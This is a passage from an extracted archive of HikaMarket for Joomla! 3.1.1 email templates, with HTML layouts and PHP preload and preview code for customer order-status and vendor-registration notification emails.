{LINEVAR:PRODUCT_DOWNLOAD}
{LINEVAR:PRODUCT_DETAILS}
</td>
{LINEVAR:CUSTOMFIELD_VALUE}
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_QUANTITY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_TOTAL}</td>
</tr>
<!--{END:PRODUCT_LINE}-->
<!--{START:ORDER_FOOTER}-->
<tr>
<td colspan="{TXT:FOOTER_COLSPAN}"
style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:NAME}</td>
<td style="text-align:right">{LINEVAR:VALUE}</td>
</tr>
<!--{END:ORDER_FOOTER}-->
</table>
<!--{END:VENDOR_LINE}-->
<!--{ENDIF:SHOW_ORDER_CONTENT}-->
<!--{IF:PAYMENT}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PAYMENT_METHOD}
:</span> {VAR:PAYMENT}
</p>
<!--{ENDIF:PAYMENT}-->
<!--{IF:SHIPPING}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:HIKASHOP_SHIPPING_METHOD}
:</span> {VAR:SHIPPING}
</p>
<!--{ENDIF:SHIPPING}-->
<!--{IF:ORDER_SUMMARY}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:ADDITIONAL_INFORMATION}
</h1>
<p style="border-bottom:1px solid
#ddd;padding-bottom:10px;">
{VAR:ORDER_SUMMARY}
</p>
<!--{ENDIF:ORDER_SUMMARY}-->
<p>
{TXT:ORDER_END_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
PKT��[�'U�
S
S#user_order_notification.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$app = JFactory::getApplication();
$config = hikashop_config();
$orderClass = hikashop_get('class.order');
$imageHelper = hikashop_get('helper.image');
$productClass = hikashop_get('class.product');
$fieldsClass = hikashop_get('class.field');
global $Itemid;
$url_itemid = (!empty($Itemid)) ? '&Itemid=' . $Itemid :
'';
if(isset($data->url_itemid))
$url_itemid = (!empty($data->url_itemid) ?
'&Itemid=':'') . $data->url_itemid;
$order_url = $data->order_url;
$mail_status = $data->mail_status;
$customer = $data->customer;
if(!isset($data->order))
$data->order = new stdClass();
$fs =
array('order_number','order_discount_tax','order_shipping_tax','order_payment_tax','order_full_price','order_shipping_price','order_payment_price','order_discount_price','order_currency_id','order_status');
foreach($fs as $f) {
if(isset($data->$f) && !isset($data->order->$f))
$data->order->$f = $data->$f;
}
$data->order->order_url = $order_url;
$data->cart = $orderClass->loadFullOrder($data->order_id, true,
false);
if(hikashop_level(2)) {
$itemFields =
$fieldsClass->getFields('display:mail_status_notif=1',
$data->cart->products, 'item');
}
$url = $data->order_number = $data->cart->order_number;
$url = '<a href="'.$order_url.'">'.
$url.'</a>';
$data->cart->coupon = new stdClass();
$price = new stdClass();
$tax = $data->cart->order_subtotal -
$data->cart->order_subtotal_no_vat -
$data->cart->order_discount_tax +
$data->cart->order_shipping_tax +
$data->cart->order_payment_tax;
$price->price_value = max(0, $data->cart->order_full_price -
$tax);
$price->price_value_with_tax = $data->cart->order_full_price;
$data->cart->full_total = new stdClass;
$data->cart->full_total->prices = array($price);
$data->cart->coupon->discount_value =&
$data->cart->order_discount_price;
if($app->isAdmin()) {
$view = 'order';
} else {
$view = 'address';
}
$colspan = 4;
$customer_name = @$customer->name;
if(empty($customer_name))
$customer_name =
@$data->cart->billing_address->address_firstname.'
'.@$data->cart->billing_address->address_lastname;
$data->mail_params_config = array(
'begin_msg' => array('textarea',
'HIKAM_MAIL_BEGIN_MESSAGE', ''),
'billing_address' => array('boolean',
'HIKAM_MAIL_DISP_BILLING_ADDR', 1),
'shipping_address' => array('boolean',
'HIKAM_MAIL_DISP_SHIPPING_ADDR', 1),
'products' => array('boolean',
'HIKAM_MAIL_DISP_PRODUCTS', 1),
'payment_method' => array('boolean',
'HIKAM_MAIL_DISP_PAYMENT', 1),
'shipping_method' => array('boolean',
'HIKAM_MAIL_DISP_SHIPPING', 1),
'fields' => array('boolean',
'HIKAM_MAIL_DISP_FIELDS', 1),
'end_msg' => array('textarea',
'HIKAM_MAIL_END_MESSAGE', ''),
);
if(empty($data->mail_params))
$data->mail_params = array();
foreach($data->mail_params_config as $k => $v) {
if(!isset($data->mail_params[$k]))
$data->mail_params[$k] = $v[2];
}
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => $order_url,
'ORDER_PRODUCT_CODE' =>
(bool)$config->get('show_code', false),
'order' => $data->cart,
'user' => $customer,
'billing_address' => @$data->cart->billing_address,
'shipping_address' => @$data->cart->shipping_address,
'TPL_HEADER' => (bool)@$customer->user_cms_id,
'TPL_HEADER_URL' => $order_url,
'SHOW_ORDER_CONTENT' => true,
);
$texts = array(
'BILLING_ADDRESS' =>
JText::_('HIKASHOP_BILLING_ADDRESS'),
'SHIPPING_ADDRESS' =>
JText::_('HIKASHOP_SHIPPING_ADDRESS'),
'SUMMARY_OF_YOUR_ORDER' =>
JText::_('SUMMARY_OF_YOUR_ORDER'),
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'TPL_HEADER_TEXT' =>
JText::_('HIKASHOP_MAIL_HEADER'),
'USER_ACCOUNT' => (bool)@$customer->user_cms_id,
'PRODUCT_NAME' => JText::_('CART_PRODUCT_NAME'),
'PRODUCT_CODE' => JText::_('CART_PRODUCT_CODE'),
'PRODUCT_PRICE' =>
JText::_('CART_PRODUCT_UNIT_PRICE'),
'PRODUCT_QUANTITY' =>
JText::_('CART_PRODUCT_QUANTITY'),
'PRODUCT_TOTAL' => JText::_('HIKASHOP_TOTAL'),
'ADDITIONAL_INFORMATION' =>
JText::_('ADDITIONAL_INFORMATION'),
'ORDER_TITLE' => JText::_('YOUR_ORDER'),
'HI_CUSTOMER' => JText::sprintf('HI_CUSTOMER',
$customer_name),
'ORDER_CHANGED' =>
JText::sprintf('ORDER_STATUS_CHANGED_TO', $url,
$data->mail_status),
'ORDER_BEGIN_MESSAGE' =>
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER_BEGIN', HIKASHOP_LIVE),
'ORDER_END_MESSAGE' =>
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER', HIKASHOP_LIVE) .
'<br/>' .
JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name),
);
if(!empty($data->usermsg->usermsg)) {
$texts['ORDER_CHANGED'] = $data->usermsg->usermsg;
}
if(empty($data->mail_params['products']))
$vars['SHOW_ORDER_CONTENT'] = false;
if(!empty($data->mail_params['begin_msg']))
$texts['ORDER_BEGIN_MESSAGE'] =
nl2br($data->mail_params['begin_msg']);
if(!empty($data->mail_params['end_msg']))
$texts['ORDER_END_MESSAGE'] =
nl2br($data->mail_params['end_msg']);
$templates = array();
$products_ids = array();
foreach($data->cart->products as $item) { $products_ids[] =
$item->product_id; }
$productClass->getProducts($products_ids);
$cartProducts = array();
$cartFooters = array();
if(!empty($data->cart->products) &&
!empty($data->mail_params['products'])) {
$null = null;
$fields = null;
$texts['CUSTOMFIELD_NAME'] = '';
$texts['FOOTER_COLSPAN'] = 3;
if(hikashop_level(1)){
$fields =
$fieldsClass->getFields('display:mail_status_notif=1',$null,'product');
if(!empty($fields)){
$product_customfields = array();
$usefulFields = array();
foreach($fields as $field){
$namekey = $field->field_namekey;
foreach($productClass->all_products as $product){
if(!empty($product->$namekey)){
$usefulFields[] = $field;
break;
}
}
}
$fields = $usefulFields;
}
if(!empty($fields)){
foreach($fields as $field){
$texts['FOOTER_COLSPAN']++;
$texts['CUSTOMFIELD_NAME'].='<td
style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">'.$fieldsClass->getFieldName($field).'</td>';
}
}
}
$group = $config->get('group_options',0);
$subtotal = 0;
foreach($data->cart->products as $item) {
if($group && $item->order_product_option_parent_id)
continue;
$product = @$productClass->all_products[$item->product_id];
$cartProduct = array(
'PRODUCT_CODE' => $item->order_product_code,
'PRODUCT_QUANTITY' => $item->order_product_quantity,
'PRODUCT_IMG' => '',
'item' => $item,
'product' => $product,
);
if(!empty($item->images[0]->file_path) &&
$config->get('thumbnail', 1) != 0) {
$img = $imageHelper->getThumbnail($item->images[0]->file_path,
array(50, 50), array('forcesize' => true, 'scale'
=> 'outside'));
if($img->success) {
if(substr($img->url, 0, 3) == '../')
$image = str_replace('../', HIKASHOP_LIVE, $img->url);
else
$image = substr(HIKASHOP_LIVE, 0, strpos(HIKASHOP_LIVE, '/',
9)) . $img->url;
$attributes = '';
if($img->external)
$attributes = '
width="'.$img->req_width.'"
height="'.$img->req_height.'"';
$cartProduct['PRODUCT_IMG'] = '<img
src="'.$image.'" alt=""
style="float:left;margin-top:3px;margin-bottom:3px;margin-right:6px;"'.$attributes.'/>';
}
}
$t = '<p>' . $item->order_product_name;
if($group){
$display_item_price=false;
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
if($optionElement->order_product_price>0){
$display_item_price = true;
}
}
if($display_item_price){
if($config->get('price_with_tax')){
$t .= '
'.$currencyHelper->format($item->order_product_price+$item->order_product_tax,$data->cart->order_currency_id);
}else{
$t .= '
'.$currencyHelper->format($item->order_product_price,$data->cart->order_currency_id);
}
}
}
$t .= '</p>';
if(!empty($itemFields)){
foreach($itemFields as $field){
$namekey = $field->field_namekey;
if(!isset($item->$namekey) || (empty($item->$namekey) &&
!strlen($item->$namekey))) continue;
$t .=
'<p>'.$fieldsClass->getFieldName($field).':
'.$fieldsClass->show($field,$item->$namekey,'user_email').'</p>';
}
}
$cartProduct['CUSTOMFIELD_VALUE'] = '';
if(!empty($fields) && hikashop_level(1)){
foreach($fields as $field){
$namekey = $field->field_namekey;
$productData = @$productClass->all_products[$item->product_id];
$cartProduct['CUSTOMFIELD_VALUE'] .= '<td
style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">'.(empty($productData->$namekey)?'':$fieldsClass->show($field,$productData->$namekey)).'</td>';
}
}
if($group){
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
$item->order_product_price
+=$optionElement->order_product_price;
$item->order_product_tax +=$optionElement->order_product_tax;
$item->order_product_total_price+=$optionElement->order_product_total_price;
$item->order_product_total_price_no_vat+=$optionElement->order_product_total_price_no_vat;
$t .= '<p
class="hikashop_order_option_name">' .
$optionElement->order_product_name;
if($optionElement->order_product_price>0){
if($config->get('price_with_tax')){
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price+$optionElement->order_product_tax,$data->cart->order_currency_id).'
)';
}else{
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price,$data->cart->order_currency_id).'
)';
}
}
$t .= '</p>';
}
}
$cartProduct['PRODUCT_NAME'] = $t;
$t = '';
$statusDownload =
explode(',',$config->get('order_status_for_download','confirmed,shipped'));
if(!empty($item->files) &&
in_array($data->order->order_status,$statusDownload)){
$t .= '<p>';
foreach($item->files as $file){
$fileName = empty($file->file_name) ? $file->file_path :
$file->file_name;
$file_pos = empty($file->file_pos) ? '' :
('&file_pos=' . $file->file_pos);
if(empty($customer->user_cms_id))
$file_pos .= '&order_token=' .
$data->cart->order_token;
$oid = $data->order_id;
if(!empty($data->cart->order_parent_id))
$oid = $data->cart->order_parent_id;
$t .= '<a
href="'.hikashop_frontendLink('index.php?option=com_hikashop&ctrl=order&task=download&file_id='.$file->file_id.'&order_id='.$oid.$file_pos.$url_itemid).'">'.$fileName.'</a><br/>';
}
$t .= '</p>';
}
$cartProduct['PRODUCT_DOWNLOAD'] = $t;
if($config->get('price_with_tax')){
$unit_price =
$currencyHelper->format($item->order_product_price+$item->order_product_tax,$data->cart->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price,$data->cart->order_currency_id);
$subtotal += $item->order_product_total_price;
}else{
$unit_price =
$currencyHelper->format($item->order_product_price,$data->cart->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price_no_vat,$data->cart->order_currency_id);
$subtotal += $item->order_product_total_price_no_vat;
}
$cartProduct['PRODUCT_PRICE'] = $unit_price;
$cartProduct['PRODUCT_TOTAL'] = $total_price;
$cartProducts[] = $cartProduct;
}
$templates['PRODUCT_LINE'] = $cartProducts;
if(bccomp($data->cart->order_discount_price,0,5) != 0 ||
bccomp($data->cart->order_shipping_price,0,5) != 0 ||
bccomp($data->cart->order_payment_price,0,5) != 0 ||
($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
|| !empty($data->cart->additional)){
$cartFooters[] = array(
'NAME' => JText::_('SUBTOTAL'),
'VALUE' =>
$currencyHelper->format($subtotal,$data->cart->order_currency_id)
);
}
if(bccomp($data->cart->order_discount_price,0,5) != 0) {
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->cart->order_discount_price*-1,$data->cart->order_currency_id);
}else{
$t =
$currencyHelper->format(($data->cart->order_discount_price-@$data->cart->order_discount_tax)*-1,$data->cart->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_COUPON'),
'VALUE' => $t
);
}
if(bccomp($data->cart->order_shipping_price,0,5) != 0){
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->cart->order_shipping_price,$data->cart->order_currency_id);
}else{
$t =
$currencyHelper->format($data->cart->order_shipping_price-@$data->cart->order_shipping_tax,$data->cart->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_SHIPPING'),
'VALUE' => $t
);
}
if(bccomp($data->cart->order_payment_price,0,5) != 0){
if($config->get('price_with_tax')) {
$t = $currencyHelper->format($data->cart->order_payment_price,
$data->cart->order_currency_id);
} else {
$t = $currencyHelper->format($data->cart->order_payment_price -
@$data->cart->order_payment_tax,
$data->cart->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_PAYMENT'),
'VALUE' => $t
);
}
if(!empty($data->cart->additional)) {
$exclude_additionnal = explode(',',
$config->get('order_additional_hide', ''));
foreach($data->cart->additional as $additional) {
if(in_array($additional->order_product_name, $exclude_additionnal))
continue;
if( (!empty($additional->order_product_price) &&
($additional->order_product_price > 0) ) ||
empty($additional->order_product_options)) {
if($config->get('price_with_tax')){
$t = $currencyHelper->format($additional->order_product_price +
@$additional->order_product_tax, $data->cart->order_currency_id);
}else{
$t = $currencyHelper->format($additional->order_product_price,
$data->cart->order_currency_id);
}
} else {
$t = $additional->order_product_options;
}
$cartFooters[] = array(
'NAME' => JText::_($additional->order_product_name),
'VALUE' => $t
);
}
}
if($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
{
if($config->get('detailed_tax_display') &&
!empty($data->cart->order_tax_info)) {
foreach($data->cart->order_tax_info as $tax) {
$cartFooters[] = array(
'NAME' => $tax->tax_namekey,
'VALUE' =>
$currencyHelper->format($tax->tax_amount,$data->cart->order_currency_id)
);
}
} else {
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITHOUT_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value,$data->cart->order_currency_id)
);
}
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITH_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->cart->order_currency_id)
);
} else {
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_TOTAL'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->cart->order_currency_id)
);
}
$templates['ORDER_FOOTER'] = $cartFooters;
}
if(!empty($data->cart->order_payment_method) &&
!empty($data->mail_params['payment'])) {
if(!is_numeric($data->cart->order_payment_id)){
$vars['PAYMENT'] =
$data->cart->order_payment_method.'
'.$data->cart->order_payment_id;
} else {
$paymentClass = hikashop_get('class.payment');
$payment = $paymentClass->get($data->cart->order_payment_id);
$vars['PAYMENT'] = $payment->payment_name;
unset($paymentClass);
}
}
if(!empty($data->cart->order_shipping_id) &&
!empty($data->mail_params['shipping'])) {
$shippingClass = hikashop_get('class.shipping');
if(!empty($data->cart->order_shipping_method)) {
if(!is_numeric($data->cart->order_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($data->cart->order_shipping_method,
$data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}else{
$shipping =
$shippingClass->get($data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping->shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}
} else {
$shippings_data = array();
$shipping_ids = explode(';',
$data->cart->order_shipping_id);
$shippingClass = hikashop_get('class.shipping');
foreach($shipping_ids as $key) {
$shipping_data = '';
list($k, $w) = explode('@', $key);
$shipping_id = $k;
if(isset($data->cart->shippings[$shipping_id])) {
$shipping = $data->cart->shippings[$shipping_id];
$shipping_data = $shipping->shipping_name;
} else {
foreach($data->cart->products as $order_product) {
if($order_product->order_product_shipping_id == $key) {
if(!is_numeric($order_product->order_product_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($order_product->order_product_shipping_method,
$shipping_id);
$shipping_data = $shipping_name;
}else{
$shipping_method_data = $shippingClass->get($shipping_id);
$shipping_data = $shipping_method_data->shipping_name;
}
break;
}
}
if(empty($shipping_data))
$shipping_data = '[ ' . $key . ' ]';
}
if(isset($data->cart->order_shipping_params->prices[$key])) {
$price_params =
$data->cart->order_shipping_params->prices[$key];
if($config->get('price_with_tax')){
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax,
$data->cart->order_currency_id) . ')';
}else{
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax -
@$price_params->tax, $data->cart->order_currency_id) .
')';
}
}
$shippings_data[] = $shipping_data;
}
if(!empty($shippings_data)) {
$vars['SHIPPING'] =
'<ul><li>'.implode('</li><li>',
$shippings_data).'</li></ul>';
$vars['SHIPPING_TXT'] = ' - ' . implode("\r\n -
", $shippings_data);
}
}
unset($shippingClass);
} else {
$vars['SHIPPING'] = '';
}
ob_start();
$sep = '';
if(hikashop_level(2) &&
!empty($data->mail_params['fields'])) {
$fields =
$fieldsClass->getFields('display:mail_status_notif=1',$data->cart,'order','');
foreach($fields as $fieldName => $oneExtraField) {
if(isset($data->$fieldName) &&
!isset($data->cart->$fieldName))
$data->cart->$fieldName = $data->$fieldName;
if($oneExtraField->field_type != 'customtext' &&
empty($data->cart->$fieldName))
continue;
echo $sep .
$fieldsClass->trans($oneExtraField->field_realname).' :
'.$fieldsClass->show($oneExtraField,
@$data->cart->$fieldName,'user_email');
$sep = '<br />';
}
}
JPluginHelper::importPlugin('hikashop');
$app = JFactory::getApplication();
$app->triggerEvent('onAfterOrderProductsListingDisplay',
array(&$data->cart, 'email_notification_html'));
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] = trim($content);
$unpaid_statuses = explode(',',
$config->get('order_unpaid_statuses', 'created'));
if(in_array($data->order_status, $unpaid_statuses) &&
!empty($data->cart->order_payment_method) &&
$data->cart->order_type == 'sale') {
ob_start();
if($data->cart->order_full_price > 0 && hikashop_level(1)
&& $config->get('allow_payment_button',1)) {
echo '<p>' .
JText::_('ORDER_VALID_AFTER_PAYMENT') . '</p>';
$pay_url =
'index.php?option=com_hikashop&ctrl=order&task=pay&order_id='.$data->order_id.$url_itemid;
if(empty($customer->user_cms_id) &&
!empty($data->cart->order_token)) {
$pay_url .=
'&order_token='.urlencode($data->cart->order_token);
}
$pay_url = hikashop_frontendLink($pay_url);
if($config->get('force_ssl',0) &&
strpos('https://',$pay_url) === false) {
$pay_url =
str_replace('http://','https://',$pay_url);
}
echo '<p><a href="'. $pay_url
.'">'.JText::_('PAY_NOW') .
'</a></p>';
}
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] .= $content;
}
$vars['BILLING_ADDRESS'] = '';
$vars['SHIPPING_ADDRESS'] = '';
$addressClass = hikashop_get('class.address');
if(!empty($data->cart->billing_address) &&
!empty($data->cart->fields) &&
!empty($data->mail_params['billing_address'])) {
$vars['BILLING_ADDRESS'] =
$addressClass->displayAddress($data->cart->fields,$data->cart->billing_address,$view);
}
if(!empty($data->mail_params['shipping_address'])) {
if(!empty($data->cart->override_shipping_address)) {
$vars['SHIPPING_ADDRESS'] =
$data->cart->override_shipping_address;
} elseif(!empty($data->cart->order_shipping_id) &&
!empty($data->cart->shipping_address) &&
!empty($data->cart->fields)) {
$vars['SHIPPING_ADDRESS'] =
$addressClass->displayAddress($data->cart->fields,$data->cart->shipping_address,$view);
} else {
$vars['SHIPPING_ADDRESS'] =
$vars['BILLING_ADDRESS'];
}
}
PKT��[��||#user_order_notification.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class user_order_notificationPreviewMaker {
public $displaySubmitButton = true;
public $type = 'order';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$orderClass = hikashop_get('class.order');
$order = $orderClass->loadNotification((int)$data,
'market.user_order_notification');
return $order->mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'order',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html){
hikashop_display(JText::_('PLEASE_FIRST_CREATE_AN_ORDER'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_AN_ORDER_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php
echo JText::_('HIKASHOP_ORDER');
?></dt>
<dd><?php
echo $html;
?></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PKT��[�h�>qq
user_order_notification.text.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
echo JText::sprintf('HI_CUSTOMER',
@$data->customer->name)."\n"."\n";
$url = $data->order_number;
$config =& hikashop_config();
if($config->get('simplified_registration', 0) != 2) {
$url .= "\n".'( '.$data->order_url.'
)'."\n";
}
if(!empty($data->usermsg->usermsg)) {
echo $data->usermsg->usermsg;
} else {
echo JText::sprintf('ORDER_STATUS_CHANGED_TO', $url,
$data->mail_status);
}
echo "\n"."\n" .
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER', HIKASHOP_LIVE) .
"\n"."\n" .
str_replace('<br/>', "\n",
JText::sprintf('BEST_REGARDS_CUSTOMER', $mail->from_name));
PKT��[?1��"vendor_admin_registration.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:HIKASHOP_MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-product.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:MAIL_TITLE}
</h1>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_ADMIN}</h3>
{TXT:VENDOR_CREATION_BEGIN_MESSAGE}
</p>
<p>
<strong>{TXT:HIKA_VENDOR}</strong>: <a
href="{VAR:VENDOR_URL}">{VAR:vendor_name}</a>
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[��͕��%vendor_admin_registration.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'VENDOR_URL'=>
HIKASHOP_LIVE.'administrator/index.php?option=com_hikamarket&ctrl=vendor&task=edit&cid='.$data->vendor->vendor_id,
'vendor' => $data->vendor,
'user' => $data->user,
'vendor_name' => $data->vendor_name,
);
$texts = array(
'MAIL_TITLE' =>
JText::_('VENDOR_REGISTRATION_EMAIL_SUBJECT'),
'MAIL_HEADER' =>
JText::_('HIKAMARKET_MAIL_HEADER'),
);
PKT��[��:�44%vendor_admin_registration.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class market_vendor_admin_registrationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'registration';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
if(empty($data['vendor']))
$data['vendor'] = 1;
$userClass = hikashop_get('class.user');
$vendorClass = hikamarket::get('class.vendor');
$params = new stdClass();
$params->user = $userClass->get((int)$data['user']);
$params->vendor =
$vendorClass->get((int)$data['vendor']);
$params->vendor_name = $params->vendor->vendor_name;
